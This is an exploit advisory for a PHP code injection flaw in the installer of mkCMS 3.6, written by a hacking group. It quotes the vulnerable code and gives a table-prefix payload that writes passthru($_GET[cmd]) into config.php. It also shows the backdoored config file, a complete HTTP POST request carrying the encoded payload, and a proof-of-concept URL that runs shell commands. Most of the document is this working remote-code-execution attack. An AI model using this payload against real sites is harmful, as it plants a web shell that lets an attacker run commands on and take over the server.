mkCMS 3.6 PHP Code Injection

`# Exploit Title : mkCMS PHP Code Injection  
# Date : 11 June 2013  
# Exploit Author : CWH Underground  
# Site : www.2600.in.th  
# Vendor Homepage : http://mkcms.milankragujevic.com/  
# Software Link : http://jaist.dl.sourceforge.net/project/milan-cms/Releases/mkCMS-v3.6.zip  
# Version : 3.6  
# Tested on : Window and Linux  
  
,--^----------,--------,-----,-------^--,  
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..  
`+---------------------------^----------|  
`\_,-------, _________________________|  
/ XXXXXX /`| /  
/ XXXXXX / `\ /  
/ XXXXXX /\______(  
/ XXXXXX /   
/ XXXXXX /  
(________(   
`------'  
  
####################################  
VULNERABILITY: PHP CODE INJECTION  
####################################  
  
/admin/install/verify_3.php (LINE: 5-81)  
  
-----------------------------------------------------------------------------  
LINE 5-9:  
$db_name = @$_SESSION['db_name'];  
$db_user = @$_SESSION['db_user'];  
$db_pass = @$_SESSION['db_pass'];  
$db_host = @$_SESSION['db_host'];  
$tbl_prefix = @$_SESSION['tbl_prefix'];  
-----------------------------------------------------------------------------  
  
-----------------------------------------------------------------------------  
LINE 34-63:  
$config = "<?php  
.....  
-----------------------------------------------------------------------------  
  
-----------------------------------------------------------------------------  
LINE 81:  
file_put_contents('../../config.php', $config);  
-----------------------------------------------------------------------------  
  
#####################################################  
DESCRIPTION  
#####################################################  
  
An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.  
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.  
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.  
  
The installation directory is still needed by mkCMS so it can't be deleted. Attacker could access /admin/install.  
During the installation process attacker specifies his external MySQL server and enters the following table prefix: ' , "c" =>passthru($_GET[cmd]),//  
  
/config.php  
-----------------------------------------------------------------------------  
<?php  
  
/******* Welcome to mkCMS *******/  
  
session_start();  
  
define('ROOT_DIR', str_replace('\\', '/', realpath(dirname(__FILE__))) .'/');  
define('ADMIN_DIR', ROOT_DIR .'admin/');  
define('LIB_DIR', ADMIN_DIR .'includes/');  
define('PLUGINS_DIR', ROOT_DIR .'plugins/');  
define('THEMES_DIR', ROOT_DIR .'themes/');  
  
require_once(LIB_DIR . 'functions.php');  
$mysql = array(  
'user' => 'root',  
'pass' => 'usbw',  
'db' => 'mkcms',  
'host' => 'localhost',  
'prefix' => '' , "c" =>passthru($_GET[cmd]),//'  
);  
$root = '/mkCMS/';  
$path = 'http://localhost/mkCMS/';  
$sitename = get_set('sitename');  
$sitedesc = get_set('sitedesc');  
$language = get_set('lang');  
$theme = get_set('theme');  
  
$THEME_DIR = THEMES_DIR . $theme . '/';  
$theme_path = $path . 'themes/'.$theme.'/';  
?>  
-----------------------------------------------------------------------------  
  
#####################################################  
EXPLOIT  
#####################################################  
  
  
POST /mkCMS/admin/install/verify_2.php HTTP/1.1  
Host: target  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/mkCMS/admin/install/step2.php  
Cookie: __utma=111872281.1795322081.1369810583.1369810583.1369810583.1; __utmz=111872281.1369810583.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); lang=en_US; PHPSESSID=gbf1u3p49bid3b1g4cnhuplco5; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=on; has_js=1; SESS3e2018b2c38b123a9f41b7251051544c=8RPdDYThmQJ1_psqG3gxv7o2ExJKKJVpS59B0vN2klg  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 145  
db_name=mkcms&db_user=root&db_pass=toor&db_host=localhost&tbl_prefix=%27+%2C+%22c%22+%3D%3Epassthru%28%24_GET%5Bcmd%5D%29%2C%2F%2F&submit=Proceed  
  
  
POC:  
http://target/mkCMS/index.php?cmd=dir  
  
  
################################################################################################################  
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2  
################################################################################################################  
`